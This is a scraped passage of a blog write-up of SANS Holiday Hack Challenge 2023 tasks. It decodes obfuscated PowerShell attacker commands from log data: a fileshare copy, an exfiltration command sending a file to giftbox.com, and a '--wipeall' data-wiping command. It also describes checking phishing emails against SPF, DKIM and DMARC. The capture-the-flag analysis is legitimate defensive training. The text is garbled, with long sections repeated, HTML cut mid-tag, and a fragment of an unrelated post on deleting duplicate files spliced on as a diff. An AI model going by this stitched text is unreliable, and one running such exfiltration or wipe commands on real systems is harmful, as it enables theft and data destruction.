</span></span></code></pre></div><p>yields the following powershell command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>( <span style=color:#e6db74>&#39;txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop&#39;</span> -split <span style=color:#e6db74>&#39;&#39;</span> | %{$_[<span style=color:#ae81ff>0</span>]}) -join <span style=color:#e6db74>&#39;&#39;</span>
</span></span></code></pre></div><p>Now that is some obfuscated command we can expect an attacker to invoke. We note the timestamp for this second record and submit it.</p><p><img src alt></p><p><img src alt></p><p>Answer: <code>2023-12-24T16:07:47Z</code></p><ol start=2><li>What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)</li></ol><p>From the previous query output, we can try decoding the encoded commands one by one.</p><p>The <code>-split '' | %{$_[0]}</code> part of the command splits the preceding string into its constituent characters,
these are then rearranged in reverse and the trailing <code>-join ''</code> joins the reversed characters back into a string.</p><p>Undoing the reverse, we get the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
</span></span></code></pre></div><p>We see that the attacker copied the <code>NaughtyNiceList.txt</code> file from the fileshare to <code>C:\Desktop</code>.</p><p>Answer: <code>NaughtyNiceList.txt</code></p><ol start=3><li>The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?</li></ol><p>We move on to decode the base64 encoded command in the third record.</p><p><img src alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4<span style=color:#f92672>=</span> <span style=color:#ae81ff>\
these are then rearranged in reverse and the trailing <code>-join ''</code> joins the reversed characters back into a string.</p><p>Undoing the reverse, we get the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
</span></span></code></pre></div><p>We see that the attacker copied the <code>NaughtyNiceList.txt</code> file from the fileshare to <code>C:\Desktop</code>.</p><p>Answer: <code>NaughtyNiceList.txt</code></p><ol start=3><li>The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?</li></ol><p>We move on to decode the base64 encoded command in the third record.</p><p><img src alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4<span style=color:#f92672>=</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>| base64 -d
</span></span></code></pre></div><p>This gives us the following obfuscated command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>[<span style=color:#66d9ef>StRiNg</span>]::JoIn( <span style=color:#e6db74>&#39;&#39;</span>, [<span style=color:#66d9ef>ChaR[]</span>](<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>))|&amp; ((gv <span style=color:#e6db74>&#39;*MDr*&#39;</span>).NamE[<span style=color:#ae81ff>3</span>,<span style=color:#ae81ff>11</span>,<span style=color:#ae81ff>2</span>]-joiN
</span></span></code></pre></div><p>This obfucation technique relies on representing each character in a string as their ASCII numeric representation, which are later reconstructed when running the command.</p><p>To perform the reconstruction manually we can run the following python code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span>encoded <span style=color:#f92672>=</span> (<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>)
</span></span></code></pre></div><p>This gives us the following obfuscated command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>[<span style=color:#66d9ef>StRiNg</span>]::JoIn( <span style=color:#e6db74>&#39;&#39;</span>, [<span style=color:#66d9ef>ChaR[]</span>](<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>))|&amp; ((gv <span style=color:#e6db74>&#39;*MDr*&#39;</span>).NamE[<span style=color:#ae81ff>3</span>,<span style=color:#ae81ff>11</span>,<span style=color:#ae81ff>2</span>]-joiN
</span></span></code></pre></div><p>This obfucation technique relies on representing each character in a string as their ASCII numeric representation, which are later reconstructed when running the command.</p><p>To perform the reconstruction manually we can run the following python code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span>encoded <span style=color:#f92672>=</span> (<span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>119</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>110</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>45</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>67</span>, <span style=color:#ae81ff>58</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>68</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>107</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>112</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>97</span>, <span style=color:#ae81ff>117</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>104</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>78</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>101</span>, <span style=color:#ae81ff>76</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>115</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>100</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>32</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>103</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>116</span>, <span style=color:#ae81ff>98</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>120</span>, <span style=color:#ae81ff>46</span>, <span style=color:#ae81ff>99</span>, <span style=color:#ae81ff>111</span>, <span style=color:#ae81ff>109</span>, <span style=color:#ae81ff>92</span>, <span style=color:#ae81ff>102</span>, <span style=color:#ae81ff>105</span>, <span style=color:#ae81ff>108</span>, <span style=color:#ae81ff>101</span>)
</span></span><span style=display:flex><span>print(<span style=color:#e6db74>&#39;&#39;</span><span style=color:#f92672>.</span>join(map(chr, encoded)))
</span></span></code></pre></div><p>This yields the following decoded version of the command:</p><pre tabindex=0><code>downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file
</code></pre><p>Here we notice the attacker using an executable called <code>downwithsanta.exe</code> with the <code>-exfil</code> flag to probably exfiltrate the <code>NaughtyNiceList.docx</code> to <code>giftbox.com</code>.</p><p>Answer: <code>giftbox.com</code></p><h4 id=the-final-step>The final step!</h4><blockquote><p>Wow! You decoded those secret messages with easy! You&rsquo;re a rockstar. It seems like we&rsquo;re getting near the end of this investigation, but we need your help with one more thing&mldr;</p></blockquote><blockquote><p>We know that the attackers stole Santa&rsquo;s naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?</p></blockquote><ol><li>What is the name of the executable the attackers used in the final malicious command?</li></ol><p>Let&rsquo;s decode the final powershell encoded command. As an aside, this coincides to be the last command the attacker ran if we removed the <code>-enc</code> filter.</p><p><img src alt="evidence that it was the last command"></p><p><img src alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ<span style=color:#f92672>=</span> | base64 -d
</span></span></code></pre></div><p>This decodes to the following powershell command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
</span></span></code></pre></div><p>This shows the attacker running the <code>downwithsanta.exe</code> executable.</p><p>Answer: <code>downwithsanta.exe</code></p><ol start=2><li>What was the command line flag used alongside this executable?</li></ol><p>In the previous decoded command we also noted that the attacker used the <code>--wipeall</code> with the executable.</p><p>Answer: <code>--wipeall</code></p><h4 id=the-flag>The flag</h4><p>After submitting all the answers, we are asked to complete our objective in HHC by submitting the output of the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span>print base64_decode_tostring(<span style=color:#e6db74>&#39;QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==&#39;</span>)
</code></pre><p>Here we notice the attacker using an executable called <code>downwithsanta.exe</code> with the <code>-exfil</code> flag to probably exfiltrate the <code>NaughtyNiceList.docx</code> to <code>giftbox.com</code>.</p><p>Answer: <code>giftbox.com</code></p><h4 id=the-final-step>The final step!</h4><blockquote><p>Wow! You decoded those secret messages with easy! You&rsquo;re a rockstar. It seems like we&rsquo;re getting near the end of this investigation, but we need your help with one more thing&mldr;</p></blockquote><blockquote><p>We know that the attackers stole Santa&rsquo;s naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?</p></blockquote><ol><li>What is the name of the executable the attackers used in the final malicious command?</li></ol><p>Let&rsquo;s decode the final powershell encoded command. As an aside, this coincides to be the last command the attacker ran if we removed the <code>-enc</code> filter.</p><p><img src alt="evidence that it was the last command"></p><p><img src alt></p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ<span style=color:#f92672>=</span> | base64 -d
</span></span></code></pre></div><p>This decodes to the following powershell command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-powershell data-lang=powershell><span style=display:flex><span>C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
</span></span></code></pre></div><p>This shows the attacker running the <code>downwithsanta.exe</code> executable.</p><p>Answer: <code>downwithsanta.exe</code></p><ol start=2><li>What was the command line flag used alongside this executable?</li></ol><p>In the previous decoded command we also noted that the attacker used the <code>--wipeall</code> with the executable.</p><p>Answer: <code>--wipeall</code></p><h4 id=the-flag>The flag</h4><p>After submitting all the answers, we are asked to complete our objective in HHC by submitting the output of the following command:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span>print base64_decode_tostring(<span style=color:#e6db74>&#39;QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==&#39;</span>)
</span></span></code></pre></div><p>This decodes to <code>Beware the Cube that Wombles</code>. We submit this in our objectives tab and mark this complete.</p><h1 id=film-noir-island-the-blacklight-district>Film Noir Island: The Blacklight District</h1><h2 id=phish-detection>Phish Detection</h2><p><img src=../../kringlecon/2023/phish.avif alt="Intro to the phish detection challenge"></p><blockquote><p>Attention, Digital Defenders! You&rsquo;ve entered the realm of the Phishing Detection Agency, where advanced AI meets human insight. It&rsquo;s been reported that AI has started hallucinating, and it&rsquo;s up to you to discern the reality behind these emails.</p></blockquote><blockquote><p>Key: In the shadow-laden corridors of our menu, the Phishing link casts a crimson hue, a siren&rsquo;s call warning that the number of deceitful emails is amiss. Should our digital sleuthing align perfectly with the cunning of these tricksters, watch as it transforms, glowing an emerald green in triumphant success.</p></blockquote><blockquote><p>Collaboration with ChatNPT: In our ongoing battle against phishing, we&rsquo;ve enlisted ChatNPT to preliminarily flag potential phishing attempts. These flagged emails are stored in the Phishing Folder. However, AI isn&rsquo;t foolproof! It&rsquo;s up to you, the astute investigator, to dive into these emails and confirm their legitimacy. Cross-reference with our DNS records, apply your knowledge of SPF, DKIM, and DMARC, and ensure that only true phishing threats remain in the Phishing Folder. Your keen eye for detail is crucial in outsmarting these digital tricksters!</p></blockquote><blockquote><p>Your mission: Navigate through our virtual vault of emails, employ your knowledge of SPF, DKIM, and DMARC, and identify those deceptive, phishing attempts.</p></blockquote><p><img src=../../kringlecon/2023/phish-00.avif alt></p><p>Welcome to the Geese Islands Email Security Overview. This page serves as a guide to understanding the key components of email authentication and security for our domain. Below, you will find detailed information about our SPF, DKIM, and DMARC records the three pillars that fortify our email communications against phishing and spoofing attacks. Each section provides insights into what these records are, their importance in maintaining email integrity, and how they are configured for the utmost security of our digital correspondence.</p><ul><li>SPF Record: Ensures emails are sent from authorized servers.<ul><li>Domain: geeseislands.com</li><li>Type: TXT</li><li>Value: v=spf1 a:mail.geeseislands.com -all</li></ul></li><li>DKIM Record: Verifies that the email message is not forged.<ul><li>Domain: geeseislands.com</li><li>Type: TXT</li><li>Value: v=DKIM1;t=s;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjtqsLqwecFGF7AmP+Siln86O1v9NOKJw4ZsEHDV5fo0Vjj0qNPyyARKSkDmnIKjnzLGUUQO31Fr+vdZU61IaI9/ZD39WJKaAeX96uQ65mRQqqPVYxPLN5OvuFRmIHJ/TgOkD6z5/7VM7Zs1kw5Qnl04FmOLwWd00D+uNZnj8TCwIDAQAB</li></ul></li><li>DMARC Record: Specifies how an email receiver should handle emails that fail SPF and DKIM checks.<ul><li>Domain: geeseislands.com</li><li>Type: TXT</li><li>Value: v=DMARC1; p=reject; pct=100; rua=mailto:dmarc-reports@geeseislands.com</li></ul></li></ul><p><img src=../../kringlecon/2023/phish-01.avif alt></p><p>For any of the emails having the DKIM domain (<code>d</code>) parameter <code>mail.geeseislands.com</code>, DMARC as <code>Pass</code> and optionally SPF as <code>pass</code>,
we mark them safe. If the values differ or the domain is entirely different, we mark it as phishing.</p><p>These were all the challenges that I could solve before other matters took precedence. I hope you learned something or at the very least, were amused by my crude way of solving things.</p><p>Bye now.</p></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/binary-exploitation class=list-tag>Binary Exploitation</a>
<a href=https://lavafroth.is-a.dev/tags/ci-exploitation class=list-tag>CI Exploitation</a>

View File

@@ -8,14 +8,14 @@ I chose jdupes for deleting the duplicates because it&rsquo;s open-source and is
For a given folder we would run the following to wipe the duplicates:
jdupes --recurse --delete --no-prompt --zero-match .
This will recursively delete all the duplicates except the source file without prompting for a confirmation.
It will also consider zero length files to be duplicates.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Feb 21, 2022 | 2 minutes read</time></p><h1 data-pagefind-meta=title>Liberating 14GiB of disk space</h1></hgroup><section class=post-content data-pagefind-body><p>The idea is simple:</p><ul><li>Remove all duplicates, including zero length files</li><li>Fine tuning: Hand-pick and remove files deemed unnecessary</li></ul><p>Since the mileage for second step might vary from person to person, I&rsquo;ll elaborate on the first step.</p><p>I chose <a href=https://codeberg.org/jbruchon/jdupes>jdupes</a> for deleting the duplicates because it&rsquo;s open-source and is cross platform.</p><p>For a given folder we would run the following to wipe the duplicates:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-powershell data-lang=powershell><span style=display:flex><span>jdupes --recurse --delete --no-prompt --zero<span style=color:#f92672>-match</span> .
